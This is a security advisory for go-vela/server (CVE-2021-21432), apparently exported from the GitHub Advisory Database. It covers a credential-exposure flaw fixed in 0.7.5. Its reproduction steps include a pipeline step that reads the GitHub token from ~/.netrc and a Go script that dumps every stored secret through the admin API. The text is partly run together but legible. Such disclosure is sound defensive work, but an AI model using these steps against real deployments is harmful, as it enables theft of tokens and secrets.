github.com/go-vela/server
Affected
- introduced
0.7.0, fixed0.7.5(semver)
Fixed versions
0.7.5
Fix
- Fixed version
0.7.5go get github.com/go-vela/[email protected]
Advisory
Also known as: CVE-2021-21432, GO-2022-0812
Reject unauthorized access with GitHub PATs
Impact
_What kind of vulnerability is it? Who is impacted?_
The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce
UPDATE users SET admin = 't' WHERE name = <username>.vela.yml to the repository with the following content ```yaml
version: "1"
steps:
- name: steal
image: alpine
commands:
- cat ~/.netrc
```
```
$ cat ~/.netrc
machine <GITHUB URL>
login x-oauth-basic
password <token>
```
main.go ```golang
package main
import (
"fmt"
"github.com/go-vela/sdk-go/vela"
"os"
)
func main() {
// create client to connect to vela
client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil)
if err != nil {
panic(err)
}
// add PAT to request
client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
if err != nil {
panic(err)
}
for _, secret := range *secrets {
fmt.Println(*secret.Name)
fmt.Println(*secret.Value)
}
}
```
main.go with environment specific settingsVELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.goThe previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.
Patches
_Has the problem been patched? What versions should users upgrade to?_
v0.7.5 or laterWorkarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
References
_Are there any links users can visit to find out more?_
For more information
If you have any questions or comments about this advisory
High Basis: The source's own band: HIGH
0.7.0, fixed 0.7.5 (semver)0.7.5
0.7.5go get github.com/go-vela/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0